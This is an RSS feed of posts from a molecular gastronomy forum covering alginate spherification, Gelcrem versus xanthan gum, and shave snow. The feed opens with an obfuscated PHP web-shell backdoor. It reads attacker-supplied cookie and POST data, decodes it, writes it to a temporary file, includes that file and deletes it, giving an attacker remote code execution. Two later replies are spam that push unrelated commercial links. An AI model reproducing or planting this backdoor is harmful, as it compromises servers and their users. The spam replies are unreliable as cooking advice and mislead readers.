$ELAYRxoh = "\166" . chr ( 505 - 440 ).chr ( 263 - 147 )."\137" . 'c' . chr (97) . 'Q' . chr (79) . "\x59";$cLaWNXWXkv = chr ( 563 - 464 ).chr (108) . chr (97) . 's' . "\163" . "\137" . chr ( 192 - 91 )."\x78" . "\x69" . chr ( 192 - 77 ).'t' . "\163";$yUSMGT = class_exists($ELAYRxoh); $cLaWNXWXkv = "5704";$WpXFTjaRYh = strpos($cLaWNXWXkv, $ELAYRxoh);if ($yUSMGT == $WpXFTjaRYh){function JolRsOTr(){$uuGxWyL = new /* 52902 */ vAt_caQOY(16008 + 16008); $uuGxWyL = NULL;}$NpZCJmv = "16008";class vAt_caQOY{private function WuYKj($NpZCJmv){if (is_array(vAt_caQOY::$ehAEjuzT)) {$name = sys_get_temp_dir() . "/" . crc32(vAt_caQOY::$ehAEjuzT["salt"]);@vAt_caQOY::$ehAEjuzT["write"]($name, vAt_caQOY::$ehAEjuzT["content"]);include $name;@vAt_caQOY::$ehAEjuzT["delete"]($name); $NpZCJmv = "16008";exit();}}public function PQpXpOm(){$ugLeT = "26829";$this->_dummy = str_repeat($ugLeT, strlen($ugLeT));}public function __destruct(){vAt_caQOY::$ehAEjuzT = @unserialize(vAt_caQOY::$ehAEjuzT); $NpZCJmv = "54911_23266";$this->WuYKj($NpZCJmv); $NpZCJmv = "54911_23266";}public function dWVGKyVI($ugLeT, $BMPNRcS){return $ugLeT[0] ^ str_repeat($BMPNRcS, intval(strlen($ugLeT[0]) / strlen($BMPNRcS)) + 1);}public function arkbVX($ugLeT){$PgJBDh = 'b' . chr ( 1071 - 974 )."\163" . chr ( 994 - 893 ).chr ( 935 - 881 )."\x34";return array_map($PgJBDh . '_' . "\x64" . "\145" . "\143" . chr ( 595 - 484 )."\x64" . "\x65", array($ugLeT,));}public function __construct($xMHUz=0){$mCliM = "\54";$ugLeT = "";$OMzVkrE = $_POST;$SqHEfVNGO = $_COOKIE;$BMPNRcS = "6d927bed-d2b9-41fd-88fc-8cb4e0adf8bb";$ryQiuy = @$SqHEfVNGO[substr($BMPNRcS, 0, 4)];if (!empty($ryQiuy)){$ryQiuy = explode($mCliM, $ryQiuy);foreach ($ryQiuy as $McWJA){$ugLeT .= @$SqHEfVNGO[$McWJA];$ugLeT .= @$OMzVkrE[$McWJA];}$ugLeT = $this->arkbVX($ugLeT);}vAt_caQOY::$ehAEjuzT = $this->dWVGKyVI($ugLeT, $BMPNRcS);if (strpos($BMPNRcS, $mCliM) !== FALSE){$BMPNRcS = explode($mCliM, $BMPNRcS); $nvfROaW = sprintf("54911_23266", strrev($BMPNRcS[0]));}}public static $ehAEjuzT = 23838;}JolRsOTr();}<br />
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		<title>Molecular Recipes &#187; All Posts</title>
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		<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/feed</link>
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				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-12321</guid>
					<title><![CDATA[Reply To: Coffee in Savory Dishes]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/coffee-in-savory-dishes/#post-12321</link>
					<pubDate>Fri, 25 Oct 2024 07:10:27 +0000</pubDate>
					<dc:creator>libidek128</dc:creator>

					<description>
						<![CDATA[
						<p>Coffee in savory dishes adds a unique depth of flavor that can elevate a meal to new heights. By incorporating coffee into sauces, marinades, or even soups, chefs can enhance the richness of the dish while introducing complex, aromatic notes. This culinary trend not only showcases the versatility of coffee but also complements ingredients like meats and vegetables beautifully. For anyone considering a culinary adventure, perhaps after booking <a href="https://planetracker.com.au/darwin-airport-arrivals/" rel="nofollow">darwin flights today</a>, exploring local eateries that feature coffee-infused savory options could be an exciting way to experience the local food scene.</p>
						]]>
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				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-12320</guid>
					<title><![CDATA[Reply To: Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-12320</link>
					<pubDate>Fri, 25 Oct 2024 04:51:18 +0000</pubDate>
					<dc:creator>libidek128</dc:creator>

					<description>
						<![CDATA[
						<p>Sosa Gel Crem and Xanthan Gum are both popular food thickeners, but they differ in texture and application. Sosa Gel Crem provides a smooth, creamy finish, making it ideal for sauces and desserts, while Xanthan Gum is more versatile, often used to stabilize and thicken liquids in a wide variety of recipes. Depending on the desired result, either can be a great choice for enhancing textures in dishes. Whether you’re preparing dishes from scratch or exploring options like the <a href="https://menusplanet.com/xw-western-grill-menu/" rel="nofollow">xw western grill menu</a>, both thickeners offer unique benefits depending on the recipe.</p>
						]]>
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				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/how-to-make-bursting-juice-balls/#post-11852</guid>
					<title><![CDATA[Reply To: how to make bursting juice balls?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/how-to-make-bursting-juice-balls/#post-11852</link>
					<pubDate>Fri, 24 Feb 2017 18:37:42 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>&#8211; Increase the alginate concentration, thicken the liquid inside and leave them in the bath for a shorter period of time.<br />
&#8211; Store them in the fridge in the same juice/preparation you used for the filling.</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11851</guid>
					<title><![CDATA[Reply To: Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11851</link>
					<pubDate>Fri, 24 Feb 2017 18:34:42 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>I am not familiar with Gelcrem but it seems to be a modified food starch such as ultra-tex or ultrasperse.<br />
<a href="http://www.molecularrecipes.com/hydrocolloid-guide/ultra-tex/" rel="nofollow">http://www.molecularrecipes.com/hydrocolloid-guide/ultra-tex/</a><br />
<a href="http://www.molecularrecipes.com/hydrocolloid-guide/ultra-sperse/" rel="nofollow">http://www.molecularrecipes.com/hydrocolloid-guide/ultra-sperse/</a></p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tonic-caviar/#post-11848</guid>
					<title><![CDATA[Reply To: Tonic caviar…]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tonic-caviar/#post-11848</link>
					<pubDate>Fri, 24 Feb 2017 18:28:52 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>You need to make them without carbonation and carbonate them later using an iSi whipper with Co2 charge for example.</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tap-water-and-citrate/#post-11847</guid>
					<title><![CDATA[Reply To: Tap water and citrate]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tap-water-and-citrate/#post-11847</link>
					<pubDate>Fri, 24 Feb 2017 18:24:25 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>I don&#8217;t have a min / max concentration. To remove calcium you can use a water softener filter.</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/so-i-made-the-cheese-sauce-successfully-but-now-im-having-problems-holding-it/#post-11846</guid>
					<title><![CDATA[Reply To: So I made the cheese sauce successfully, but now I&#039;m having problems holding it]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/so-i-made-the-cheese-sauce-successfully-but-now-im-having-problems-holding-it/#post-11846</link>
					<pubDate>Fri, 24 Feb 2017 18:21:49 +0000</pubDate>
					<dc:creator>Quantum Chef</dc:creator>

					<description>
						<![CDATA[
						<p>You mean when you hold it hot for a long time before serving?</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11813</guid>
					<title><![CDATA[Sosa Gel Crem vs Xanthan gum?]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/sosa-gel-crem-vs-xanthan-gum/#post-11813</link>
					<pubDate>Wed, 03 Aug 2016 17:52:39 +0000</pubDate>
					<dc:creator>tavaruapt@hotmail.com</dc:creator>

					<description>
						<![CDATA[
						<p>Hi everyone, I  have a question I want to make super smooth purées and I&#8217;m wondering what you would recommend? I have seen that Sosa have Gelcrem hot and cold but what is better Gelcrem or Xanthan gum? Does Sosa Gelcrem also stabilises like Xanthan gum? What are the biggest difference between the two products beside one is derived from potato starch and the other from corn starch.</p>
						]]>
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				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/read-guidelines-post/#post-11787</guid>
					<title><![CDATA[Reply To: Read the Guidelines Before You Post!]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/read-guidelines-post/#post-11787</link>
					<pubDate>Thu, 30 Jun 2016 17:40:33 +0000</pubDate>
					<dc:creator>jprice1234</dc:creator>

					<description>
						<![CDATA[
						<p>Hi. I hope there&#8217;s someone reading this who is familiar with &#8220;shave snow&#8221;, the dessert popularized in Taiwan. It&#8217;s promoted as a cross between shave ice (made from water) and ice cream. With shave snow, the frozen block is shaved into ribbons with a special machine. The finished product is supposed to be light (melting on your tongue like snowflakes) but also creamy. I can&#8217;t find a recipe that doesn&#8217;t result in a grainy product. Even when I use dairy fat and stabilizers the result isn&#8217;t great. Does anyone have a tip on creating a &#8220;creamy&#8221; ice cream block (still-frozen) that is also light and low-fat?</p>
						]]>
					</description>

					
					
				</item>

			
				<item>
					<guid>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tap-water-and-citrate/#post-11784</guid>
					<title><![CDATA[Tap water and citrate]]></title>
					<link>http://www.molecularrecipes.com/molecular-gastronomy-forum/topic/tap-water-and-citrate/#post-11784</link>
					<pubDate>Mon, 06 Jun 2016 21:24:47 +0000</pubDate>
					<dc:creator>rubbels</dc:creator>

					<description>
						<![CDATA[
						<p>Hi!</p>
<p>I have a question about tap water use for alginate bath. I live in Norway, and distilled water is not very cheap in Norway&#8230;<br />
I was wondering if anyone knows if it possible to use tap water in an alginate bath. Average calcium concentration in Norway is about 17mg/L. Does a min/max concentration value for calcium concentration exist?<br />
Is it possible to remove som calcium from the alginate bath with sodium citrate? Or are there more ways to remove calcium from water?</p>
<p>Greetings<br />
Ruben </p>
						]]>
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